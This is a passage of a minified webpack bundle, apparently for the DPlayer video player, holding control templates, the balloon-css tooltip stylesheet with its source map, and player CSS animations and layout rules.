\n\n ',o+=p.play,o+="\n "}},1568:(n,e,t)=>{var a=t(6877);n.exports=function(n){"use strict";var e="",t=(n=n||{}).enableSubtitle,o=n.subtitle,r=n.current,i=n.airplay,l=n.pic,s=a.$escape,p=n.screenshot,d=n.preload,A=n.url;return t=o&&"webvtt"===o.type,e+='\n\n ",i&&(e+='\n \n '),e+="\n ",t&&(e+='\n \n '),e+"\n "}},3399:(n,e,t)=>{"use strict";t.d(e,{Z:()=>l});var a=t(8955),o=t.n(a),r=t(8160),i=t.n(r)()(o());i.push([n.id,':root {\n --balloon-border-radius: 2px;\n --balloon-color: rgba(16, 16, 16, 0.95);\n --balloon-text-color: #fff;\n --balloon-font-size: 12px;\n --balloon-move: 4px; }\n\nbutton[aria-label][data-balloon-pos] {\n overflow: visible; }\n\n[aria-label][data-balloon-pos] {\n position: relative;\n cursor: pointer; }\n [aria-label][data-balloon-pos]:after {\n opacity: 0;\n pointer-events: none;\n transition: all 0.18s ease-out 0.18s;\n text-indent: 0;\n font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;\n font-weight: normal;\n font-style: normal;\n text-shadow: none;\n font-size: 12px;\n font-size: var(--balloon-font-size);\n background: rgba(16, 16, 16, 0.95);\n background: var(--balloon-color);\n border-radius: 2px;\n color: #fff;\n color: var(--balloon-text-color);\n border-radius: 2px;\n border-radius: var(--balloon-border-radius);\n content: attr(aria-label);\n padding: .5em 1em;\n position: absolute;\n white-space: nowrap;\n z-index: 10; }\n [aria-label][data-balloon-pos]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-top-color: rgba(16, 16, 16, 0.95);\n border-top-color: var(--balloon-color);\n opacity: 0;\n pointer-events: none;\n transition: all 0.18s ease-out 0.18s;\n content: "";\n position: absolute;\n z-index: 10; }\n [aria-label][data-balloon-pos]:hover:before, [aria-label][data-balloon-pos]:hover:after, [aria-label][data-balloon-pos][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-visible]:after, [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:before, [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:after {\n opacity: 1;\n pointer-events: none; }\n [aria-label][data-balloon-pos].font-awesome:after {\n font-family: FontAwesome, -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Oxygen, Ubuntu, Cantarell, \'Open Sans\', \'Helvetica Neue\', sans-serif; }\n [aria-label][data-balloon-pos][data-balloon-break]:after {\n white-space: pre; }\n [aria-label][data-balloon-pos][data-balloon-break][data-balloon-length]:after {\n white-space: pre-line;\n word-break: break-word; }\n [aria-label][data-balloon-pos][data-balloon-blunt]:before, [aria-label][data-balloon-pos][data-balloon-blunt]:after {\n transition: none; }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="up"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos="down"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="down"][data-balloon-visible]:after {\n transform: translate(-50%, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="up"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos="down"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="down"][data-balloon-visible]:before {\n transform: translate(-50%, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos*="-left"]:after {\n left: 0; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-left"]:before {\n left: 5px; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:after {\n right: 0; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:before {\n right: 5px; }\n [aria-label][data-balloon-pos][data-balloon-po*="-left"]:hover:after, [aria-label][data-balloon-pos][data-balloon-po*="-left"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos*="-right"][data-balloon-visible]:after {\n transform: translate(0, 0); }\n [aria-label][data-balloon-pos][data-balloon-po*="-left"]:hover:before, [aria-label][data-balloon-pos][data-balloon-po*="-left"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos*="-right"][data-balloon-visible]:before {\n transform: translate(0, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos^="up"]:before, [aria-label][data-balloon-pos][data-balloon-pos^="up"]:after {\n bottom: 100%;\n transform-origin: top;\n transform: translate(0, 4px);\n transform: translate(0, var(--balloon-move)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="up"]:after {\n margin-bottom: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:before, [aria-label][data-balloon-pos][data-balloon-pos="up"]:after {\n left: 50%;\n transform: translate(-50%, 4px);\n transform: translate(-50%, var(--balloon-move)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:before, [aria-label][data-balloon-pos][data-balloon-pos^="down"]:after {\n top: 100%;\n transform: translate(0, calc(4px * -1));\n transform: translate(0, calc(var(--balloon-move) * -1)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:after {\n margin-top: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-bottom-color: rgba(16, 16, 16, 0.95);\n border-bottom-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-pos="down"]:after, [aria-label][data-balloon-pos][data-balloon-pos="down"]:before {\n left: 50%;\n transform: translate(-50%, calc(4px * -1));\n transform: translate(-50%, calc(var(--balloon-move) * -1)); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="left"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos="right"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="right"][data-balloon-visible]:after {\n transform: translate(0, -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="left"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos="right"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="right"][data-balloon-visible]:before {\n transform: translate(0, -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:after, [aria-label][data-balloon-pos][data-balloon-pos="left"]:before {\n right: 100%;\n top: 50%;\n transform: translate(4px, -50%);\n transform: translate(var(--balloon-move), -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:after {\n margin-right: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-left-color: rgba(16, 16, 16, 0.95);\n border-left-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:after, [aria-label][data-balloon-pos][data-balloon-pos="right"]:before {\n left: 100%;\n top: 50%;\n transform: translate(calc(4px * -1), -50%);\n transform: translate(calc(var(--balloon-move) * -1), -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:after {\n margin-left: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-right-color: rgba(16, 16, 16, 0.95);\n border-right-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-length]:after {\n white-space: normal; }\n [aria-label][data-balloon-pos][data-balloon-length="small"]:after {\n width: 80px; }\n [aria-label][data-balloon-pos][data-balloon-length="medium"]:after {\n width: 150px; }\n [aria-label][data-balloon-pos][data-balloon-length="large"]:after {\n width: 260px; }\n [aria-label][data-balloon-pos][data-balloon-length="xlarge"]:after {\n width: 380px; }\n @media screen and (max-width: 768px) {\n [aria-label][data-balloon-pos][data-balloon-length="xlarge"]:after {\n width: 90vw; } }\n [aria-label][data-balloon-pos][data-balloon-length="fit"]:after {\n width: 100%; }\n',"",{version:3,sources:["webpack://./node_modules/.pnpm/balloon-css@1.2.0/node_modules/balloon-css/balloon.css"],names:[],mappings:"AAAA;EACE,4BAA4B;EAC5B,uCAAuC;EACvC,0BAA0B;EAC1B,yBAAyB;EACzB,mBAAmB,EAAE;;AAEvB;EACE,iBAAiB,EAAE;;AAErB;EACE,kBAAkB;EAClB,eAAe,EAAE;EACjB;IACE,UAAU;IACV,oBAAoB;IACpB,oCAAoC;IACpC,cAAc;IACd,wIAAwI;IACxI,mBAAmB;IACnB,kBAAkB;IAClB,iBAAiB;IACjB,eAAmC;IAAnC,mCAAmC;IACnC,kCAAgC;IAAhC,gCAAgC;IAChC,kBAAkB;IAClB,WAAgC;IAAhC,gCAAgC;IAChC,kBAA2C;IAA3C,2CAA2C;IAC3C,yBAAyB;IACzB,iBAAiB;IACjB,kBAAkB;IAClB,mBAAmB;IACnB,WAAW,EAAE;EACf;IACE,QAAQ;IACR,SAAS;IACT,6BAA6B;IAC7B,wCAAsC;IAAtC,sCAAsC;IACtC,UAAU;IACV,oBAAoB;IACpB,oCAAoC;IACpC,WAAW;IACX,kBAAkB;IAClB,WAAW,EAAE;EACf;IACE,UAAU;IACV,oBAAoB,EAAE;EACxB;IACE,qJAAqJ,EAAE;EACzJ;IACE,gBAAgB,EAAE;EACpB;IACE,qBAAqB;IACrB,sBAAsB,EAAE;EAC1B;IACE,gBAAgB,EAAE;EACpB;IACE,6BAA6B,EAAE;EACjC;IACE,6BAA6B,EAAE;EACjC;IACE,OAAO,EAAE;EACX;IACE,SAAS,EAAE;EACb;IACE,QAAQ,EAAE;EACZ;IACE,UAAU,EAAE;EACd;IACE,0BAA0B,EAAE;EAC9B;IACE,0BAA0B,EAAE;EAC9B;IACE,YAAY;IACZ,qBAAqB;IACrB,4BAA4C;IAA5C,4CAA4C,EAAE;EAChD;IACE,mBAAmB,EAAE;EACvB;IACE,SAAS;IACT,+BAA+C;IAA/C,+CAA+C,EAAE;EACnD;IACE,SAAS;IACT,uCAAuD;IAAvD,uDAAuD,EAAE;EAC3D;IACE,gBAAgB,EAAE;EACpB;IACE,QAAQ;IACR,SAAS;IACT,6BAA6B;IAC7B,2CAAyC;IAAzC,yCAAyC,EAAE;EAC7C;IACE,SAAS;IACT,0CAA0D;IAA1D,0DAA0D,EAAE;EAC9D;IACE,6BAA6B,EAAE;EACjC;IACE,6BAA6B,EAAE;EACjC;IACE,WAAW;IACX,QAAQ;IACR,+BAA+C;IAA/C,+CAA+C,EAAE;EACnD;IACE,kBAAkB,EAAE;EACtB;IACE,QAAQ;IACR,SAAS;IACT,6BAA6B;IAC7B,yCAAuC;IAAvC,uCAAuC,EAAE;EAC3C;IACE,UAAU;IACV,QAAQ;IACR,0CAA0D;IAA1D,0DAA0D,EAAE;EAC9D;IACE,iBAAiB,EAAE;EACrB;IACE,QAAQ;IACR,SAAS;IACT,6BAA6B;IAC7B,0CAAwC;IAAxC,wCAAwC,EAAE;EAC5C;IACE,mBAAmB,EAAE;EACvB;IACE,WAAW,EAAE;EACf;IACE,YAAY,EAAE;EAChB;IACE,YAAY,EAAE;EAChB;IACE,YAAY,EAAE;IACd;MACE;QACE,WAAW,EAAE,EAAE;EACrB;IACE,WAAW,EAAE",sourcesContent:[':root {\n --balloon-border-radius: 2px;\n --balloon-color: rgba(16, 16, 16, 0.95);\n --balloon-text-color: #fff;\n --balloon-font-size: 12px;\n --balloon-move: 4px; }\n\nbutton[aria-label][data-balloon-pos] {\n overflow: visible; }\n\n[aria-label][data-balloon-pos] {\n position: relative;\n cursor: pointer; }\n [aria-label][data-balloon-pos]:after {\n opacity: 0;\n pointer-events: none;\n transition: all 0.18s ease-out 0.18s;\n text-indent: 0;\n font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;\n font-weight: normal;\n font-style: normal;\n text-shadow: none;\n font-size: var(--balloon-font-size);\n background: var(--balloon-color);\n border-radius: 2px;\n color: var(--balloon-text-color);\n border-radius: var(--balloon-border-radius);\n content: attr(aria-label);\n padding: .5em 1em;\n position: absolute;\n white-space: nowrap;\n z-index: 10; }\n [aria-label][data-balloon-pos]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-top-color: var(--balloon-color);\n opacity: 0;\n pointer-events: none;\n transition: all 0.18s ease-out 0.18s;\n content: "";\n position: absolute;\n z-index: 10; }\n [aria-label][data-balloon-pos]:hover:before, [aria-label][data-balloon-pos]:hover:after, [aria-label][data-balloon-pos][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-visible]:after, [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:before, [aria-label][data-balloon-pos]:not([data-balloon-nofocus]):focus:after {\n opacity: 1;\n pointer-events: none; }\n [aria-label][data-balloon-pos].font-awesome:after {\n font-family: FontAwesome, -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Oxygen, Ubuntu, Cantarell, \'Open Sans\', \'Helvetica Neue\', sans-serif; }\n [aria-label][data-balloon-pos][data-balloon-break]:after {\n white-space: pre; }\n [aria-label][data-balloon-pos][data-balloon-break][data-balloon-length]:after {\n white-space: pre-line;\n word-break: break-word; }\n [aria-label][data-balloon-pos][data-balloon-blunt]:before, [aria-label][data-balloon-pos][data-balloon-blunt]:after {\n transition: none; }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="up"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos="down"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="down"][data-balloon-visible]:after {\n transform: translate(-50%, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="up"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos="down"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="down"][data-balloon-visible]:before {\n transform: translate(-50%, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos*="-left"]:after {\n left: 0; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-left"]:before {\n left: 5px; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:after {\n right: 0; }\n [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:before {\n right: 5px; }\n [aria-label][data-balloon-pos][data-balloon-po*="-left"]:hover:after, [aria-label][data-balloon-pos][data-balloon-po*="-left"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos*="-right"][data-balloon-visible]:after {\n transform: translate(0, 0); }\n [aria-label][data-balloon-pos][data-balloon-po*="-left"]:hover:before, [aria-label][data-balloon-pos][data-balloon-po*="-left"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos*="-right"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos*="-right"][data-balloon-visible]:before {\n transform: translate(0, 0); }\n [aria-label][data-balloon-pos][data-balloon-pos^="up"]:before, [aria-label][data-balloon-pos][data-balloon-pos^="up"]:after {\n bottom: 100%;\n transform-origin: top;\n transform: translate(0, var(--balloon-move)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="up"]:after {\n margin-bottom: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="up"]:before, [aria-label][data-balloon-pos][data-balloon-pos="up"]:after {\n left: 50%;\n transform: translate(-50%, var(--balloon-move)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:before, [aria-label][data-balloon-pos][data-balloon-pos^="down"]:after {\n top: 100%;\n transform: translate(0, calc(var(--balloon-move) * -1)); }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:after {\n margin-top: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos^="down"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-bottom-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-pos="down"]:after, [aria-label][data-balloon-pos][data-balloon-pos="down"]:before {\n left: 50%;\n transform: translate(-50%, calc(var(--balloon-move) * -1)); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="left"][data-balloon-visible]:after, [aria-label][data-balloon-pos][data-balloon-pos="right"]:hover:after, [aria-label][data-balloon-pos][data-balloon-pos="right"][data-balloon-visible]:after {\n transform: translate(0, -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="left"][data-balloon-visible]:before, [aria-label][data-balloon-pos][data-balloon-pos="right"]:hover:before, [aria-label][data-balloon-pos][data-balloon-pos="right"][data-balloon-visible]:before {\n transform: translate(0, -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:after, [aria-label][data-balloon-pos][data-balloon-pos="left"]:before {\n right: 100%;\n top: 50%;\n transform: translate(var(--balloon-move), -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:after {\n margin-right: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="left"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-left-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:after, [aria-label][data-balloon-pos][data-balloon-pos="right"]:before {\n left: 100%;\n top: 50%;\n transform: translate(calc(var(--balloon-move) * -1), -50%); }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:after {\n margin-left: 10px; }\n [aria-label][data-balloon-pos][data-balloon-pos="right"]:before {\n width: 0;\n height: 0;\n border: 5px solid transparent;\n border-right-color: var(--balloon-color); }\n [aria-label][data-balloon-pos][data-balloon-length]:after {\n white-space: normal; }\n [aria-label][data-balloon-pos][data-balloon-length="small"]:after {\n width: 80px; }\n [aria-label][data-balloon-pos][data-balloon-length="medium"]:after {\n width: 150px; }\n [aria-label][data-balloon-pos][data-balloon-length="large"]:after {\n width: 260px; }\n [aria-label][data-balloon-pos][data-balloon-length="xlarge"]:after {\n width: 380px; }\n @media screen and (max-width: 768px) {\n [aria-label][data-balloon-pos][data-balloon-length="xlarge"]:after {\n width: 90vw; } }\n [aria-label][data-balloon-pos][data-balloon-length="fit"]:after {\n width: 100%; }\n'],sourceRoot:""}]);const l=i},3150:(n,e,t)=>{"use strict";t.d(e,{Z:()=>u});var a=t(8955),o=t.n(a),r=t(8160),i=t.n(r),l=t(3399),s=t(8431),p=t.n(s),d=new URL(t(7831),t.b),A=i()(o());A.i(l.Z);var c=p()(d);A.push([n.id,'@-webkit-keyframes my-face {\n 2% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 4% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 6% {\n transform: translate(0, 1.5px) rotate(-1.5deg);\n }\n 8% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 10% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 12% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 14% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 16% {\n transform: translate(0, -0.5px) rotate(-1.5deg);\n }\n 18% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 20% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 22% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 24% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 26% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 28% {\n transform: translate(0, 0.5px) rotate(1.5deg);\n }\n 30% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 32% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 34% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 36% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 38% {\n transform: translate(0, 1.5px) rotate(-1.5deg);\n }\n 40% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 42% {\n transform: translate(0, 2.5px) rotate(-1.5deg);\n }\n 44% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 46% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 48% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 50% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 52% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 54% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 56% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 58% {\n transform: translate(0, 0.5px) rotate(2.5deg);\n }\n 60% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 62% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 64% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 66% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 68% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 70% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 72% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 74% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 76% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 78% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 80% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 82% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 84% {\n transform: translate(0, 1.5px) rotate(2.5deg);\n }\n 86% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 88% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 90% {\n transform: translate(0, 2.5px) rotate(-0.5deg);\n }\n 92% {\n transform: translate(0, 0.5px) rotate(-0.5deg);\n }\n 94% {\n transform: translate(0, 2.5px) rotate(0.5deg);\n }\n 96% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 98% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 0%,\n 100% {\n transform: translate(0, 0) rotate(0deg);\n }\n}\n@keyframes my-face {\n 2% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 4% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 6% {\n transform: translate(0, 1.5px) rotate(-1.5deg);\n }\n 8% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 10% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 12% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 14% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 16% {\n transform: translate(0, -0.5px) rotate(-1.5deg);\n }\n 18% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 20% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 22% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 24% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 26% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 28% {\n transform: translate(0, 0.5px) rotate(1.5deg);\n }\n 30% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 32% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 34% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 36% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 38% {\n transform: translate(0, 1.5px) rotate(-1.5deg);\n }\n 40% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 42% {\n transform: translate(0, 2.5px) rotate(-1.5deg);\n }\n 44% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 46% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 48% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 50% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 52% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 54% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 56% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 58% {\n transform: translate(0, 0.5px) rotate(2.5deg);\n }\n 60% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 62% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 64% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 66% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 68% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 70% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 72% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 74% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 76% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 78% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 80% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 82% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 84% {\n transform: translate(0, 1.5px) rotate(2.5deg);\n }\n 86% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 88% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 90% {\n transform: translate(0, 2.5px) rotate(-0.5deg);\n }\n 92% {\n transform: translate(0, 0.5px) rotate(-0.5deg);\n }\n 94% {\n transform: translate(0, 2.5px) rotate(0.5deg);\n }\n 96% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 98% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 0%,\n 100% {\n transform: translate(0, 0) rotate(0deg);\n }\n}\n.dplayer {\n position: relative;\n overflow: hidden;\n -webkit-user-select: none;\n -moz-user-select: none;\n user-select: none;\n line-height: 1;\n}\n.dplayer * {\n box-sizing: content-box;\n}\n.dplayer svg {\n width: 100%;\n height: 100%;\n}\n.dplayer svg path,\n.dplayer svg circle {\n fill: #fff;\n}\n.dplayer:-webkit-full-screen {\n width: 100%;\n height: 100%;\n background: #000;\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n margin: 0;\n padding: 0;\n transform: translate(0, 0);\n}\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-showdan,\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-danmaku,\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-danunlimit {\n display: none;\n}\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-comment {\n display: none;\n}\n.dplayer.dplayer-no-danmaku .dplayer-danmaku {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-time {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-bar-wrap {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-setting-speed {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-setting-loop {\n display: none;\n}\n.dplayer.dplayer-live.dplayer-no-danmaku .dplayer-setting {\n display: none;\n}\n.dplayer.dplayer-arrow .dplayer-danmaku {\n font-size: 18px;\n}\n.dplayer.dplayer-arrow .dplayer-icon {\n margin: 0 -3px;\n}\n.dplayer.dplayer-playing .dplayer-danmaku .dplayer-danmaku-move {\n -webkit-animation-play-state: running;\n animation-play-state: running;\n}\n@media (min-width: 900px) {\n .dplayer.dplayer-playing .dplayer-controller-mask {\n opacity: 0;\n }\n .dplayer.dplayer-playing .dplayer-controller {\n opacity: 0;\n }\n .dplayer.dplayer-playing:hover .dplayer-controller-mask {\n opacity: 1;\n }\n .dplayer.dplayer-playing:hover .dplayer-controller {\n opacity: 1;\n }\n}\n.dplayer.dplayer-loading .dplayer-bezel .diplayer-loading-icon {\n display: block;\n}\n.dplayer.dplayer-loading .dplayer-danmaku,\n.dplayer.dplayer-paused .dplayer-danmaku,\n.dplayer.dplayer-loading .dplayer-danmaku-move,\n.dplayer.dplayer-paused .dplayer-danmaku-move {\n -webkit-animation-play-state: paused;\n animation-play-state: paused;\n}\n.dplayer.dplayer-hide-controller {\n cursor: none;\n}\n.dplayer.dplayer-hide-controller .dplayer-controller-mask {\n opacity: 0;\n transform: translateY(100%);\n}\n.dplayer.dplayer-hide-controller .dplayer-controller {\n opacity: 0;\n transform: translateY(100%);\n}\n.dplayer.dplayer-show-controller .dplayer-controller-mask {\n opacity: 1;\n}\n.dplayer.dplayer-show-controller .dplayer-controller {\n opacity: 1;\n}\n.dplayer.dplayer-fulled {\n width: 100% !important;\n height: 100% !important;\n}\n.dplayer.dplayer-fulled {\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n}\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-volume,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-camera-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-airplay-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-chromecast-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-play-icon {\n display: none;\n}\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-full .dplayer-full-in-icon {\n position: static;\n display: inline-block;\n}\n.dplayer.dplayer-mobile .dplayer-bar-time {\n display: none;\n}\n.dplayer.dplayer-mobile.dplayer-hide-controller .dplayer-mobile-play {\n display: none;\n}\n.dplayer.dplayer-mobile .dplayer-mobile-play {\n display: block;\n}\n.dplayer-web-fullscreen-fix {\n position: fixed;\n top: 0;\n left: 0;\n 